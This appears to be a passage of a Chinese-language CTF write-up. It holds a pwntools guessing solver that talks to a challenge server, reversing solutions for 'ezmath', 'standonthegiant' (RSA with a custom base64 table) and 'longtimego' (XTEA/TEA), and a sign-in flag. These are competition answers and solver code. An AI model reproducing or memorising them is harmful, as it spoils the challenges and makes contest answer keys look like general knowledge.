    r.recvuntil("give me xxxx:")
    r.sendline(prefix)

while True:
    try:
        r = remote(HOST,POST)
        proof_of_work()
        for _ in range(32):
            r.recvuntil(b"Here are some tips might help your:")
            data = r.recvline()
            k1 = int(r.recvline())
            k2 = int(r.recvline())
            r.recvuntil(b">")
            now = bin(k1^k2)[2:].zfill(160)
            for guess in range(161):
                if(guess==160):
                    r.sendline('1')
                    break
                for i in range(160):
                    if(status[25600*int(now[i])+160*guess+i]==False):
                        break
                if(i==159):
                    r.sendline(str(guess))
                    break
            data = r.recvline()
            if(data == b"wrong!\n"):
                print(guess)
                r.close()
                raise Exception
        r.interactive()    
    except:
        pass

Reverse

ezmath

爆不出来,化简推公式,里面的num在init时做手脚了,动态调试看看的

#include<cstdio>
unsigned char num[] = {
    0x69, 0x57, 0x14, 0x8B, 0x0A, 0xBF, 0x05, 0x40
};

unsigned char check[] =
{
  0x39, 0xCA, 0x59, 0xBD, 0x3F, 0xAD, 0x19, 0x3F, 0x95, 0xCA,
  0x21, 0x10, 0x63, 0xEC, 0x1A, 0x3F, 0xA1, 0xFF, 0xF2, 0x2D,
  0x29, 0x1A, 0x18, 0x3F, 0x9E, 0x12, 0x72, 0xF8, 0x06, 0x95,
  0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F,
  0xA2, 0xBA, 0x40, 0x57, 0xD5, 0x68, 0x1A, 0x3F, 0x3A, 0xB4,
  0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F, 0xFB, 0x48, 0xC4, 0x94,
  0xB9, 0x72, 0x1B, 0x3F, 0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B,
  0x1D, 0x3F, 0x7D, 0xF7, 0x73, 0x32, 0x5F, 0x71, 0x1B, 0x3F,
  0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B, 0x1D, 0x3F, 0x43, 0x06,
  0xCE, 0x02, 0x63, 0x92, 0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB,
  0xC6, 0x2A, 0x1D, 0x3F, 0x06, 0x02, 0x10, 0xB7, 0x70, 0x94,
  0x1C, 0x3F, 0x53, 0x04, 0xB9, 0x04, 0x72, 0x2E, 0x1D, 0x3F,
  0x35, 0xCB, 0x77, 0xB1, 0x13, 0x65, 0x1A, 0x3F, 0x56, 0x6D,
  0xE7, 0x6E, 0x78, 0x2A, 0x1D, 0x3F, 0x82, 0x63, 0x2D, 0xDD,
  0xCC, 0x91, 0x1C, 0x3F, 0x33, 0xC1, 0xAA, 0x74, 0x11, 0x33,
  0x16, 0x3F
};

double num1 = *(double*)num;

void main()
{
  for (int i = 0; i < 19; i++)
    {
        for (int j = 0x2022; j <= 0xffff; j++)
        {
            double tmp = *(double*)(check + 8 * i);
            if ((num1 - num1 / (j + 1)) / j <= tmp)
            {
                printf("%x\n",j-1);
                break;
            }
        }
    }
}

standonthegiant

openssl源码逆向,是rsa加密,求明文,不过密文被换表base64加密了,而且表中+-重复,得爆破

from base64 import *
from Crypto.Util.number import *

n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 65537

def my_replace(r, k, a, b, c):
    cnt = 0
    r = "0"*(k.count(a)-r.bit_length())+bin(r)[2:]
    kkk = list(k)
    for i in range(len(kkk)):
        if kkk[i] == a:
            if r[cnt] == '1':
                kkk[i] = b
            else:
                kkk[i] = c
            cnt += 1
   # print("".join(kkk))
    return ''.join(kkk)

a ="bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK="
#a = "btF.d:IDCNIMHdD+PFExV+BBGYbxjqGK@IN?B+d:*;XZvSMiBJaY@ufB,CIDCI?;oR?SWWdNU?EXc*BfpakoNsRD:IQRffViAUmF+/aJ*v*xvxYw?KXVaFsRzy/N/,XGGKHrpZ*Ooje="
table1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-"
table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def change(a):
    tmp = ""
    for i in range(len(a)):
        if a[i]=="-" or a[i]=="+":
            tmp += a[i]
            continue
        for j in range(len(table1)):
            if a[i] == table1[j]:
                tmp += table2[j]
                break
    return tmp

def Dec(s):
    try:
        return bytes_to_long(b64decode(s.encode()))
    except:
        try:
            return bytes_to_long(b64decode((s+"=").encode()))
        except:
            print("[!] Not base64")
            return None

f = open("data", "w")

for i in range(2**10):
    for j in range(2**4):
        tmp_a = change(a)
        tmp_a = my_replace(i, tmp_a, '+', '+', '1')
        tmp_a = my_replace(j, tmp_a, '-', '3', '/')
        c = Dec(tmp_a)
        if c == None: continue
        m = pow(c, inverse(e, (p-1)*(q-1)), n)
        flag = long_to_bytes(m)

        f.writelines(str(flag))
f.close()

longtimego

64位,8*8,化成hex编码,分为四组,前两组xtea, 后两组tea,在解密之前先xor


#include<stdio.h>
#define DELTA 0x8f3779e9
#define uint32_t unsigned int
void xtea_encrypt(unsigned int* v, unsigned int* key) {
    unsigned int l = v[0], r = v[1], sum = 0;
    for (size_t i = 0; i < 32; i++) { //进行32次迭代加密,Tea算法作者的建议迭代次数
        l += (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
        sum += DELTA; //累加Delta的值
        r += (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = l;
    v[1] = r;
    v[0] ^= 0xfd;
    v[1] ^= 0x1fd;
}

void xtea_decrypt(unsigned int* v, unsigned int* key) {
    v[0] ^= 0xfd;
    v[1] ^= 0x1fd;
    unsigned int l = v[0], r = v[1], sum = 0;
    sum = DELTA * 32; //32次迭代累加后delta的值
    for (size_t i = 0; i < 32; i++) {
        r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
        sum -= DELTA;
        l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
    }
    v[0] = l;
    v[1] = r;
}

void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;           /* set up */
    uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                       /* basic cycle start */
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
    v[0] ^= 0x3fd;
    v[1] ^= 0x7fd;
}
//解密函数  
void decrypt(uint32_t* v, uint32_t* k) {
    v[0] ^= 0x3fd;
    v[1] ^= 0x7fd;
    uint32_t v0 = v[0], v1 = v[1], sum = 0xa6a53780, i;  /* set up */
    uint32_t delta = 0x3d3529bc;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}
int main() {
    unsigned int v[] = {  };//放密文
    unsigned int key[] = {0xfffd,0x1fffd,0x3fffd,0x7fffd};
    xtea_decrypt(v, key);

    printf("0x%lx     0x%lx",v[0],v[1]);
}

0xcd402b6a     0x13928382
0x2f0dea49     0xe6579435
0x6f44ea9b     0x3f56652f
0x2da39881     0xec491878
cd402b6a139283822f0dea49e65794356f44ea9b3f56652f2da39881ec491878
大写

Misc

emm,传统艺能不做misc

签到

flag{welcome_to_qwb_s5}

问卷

填问卷拿flag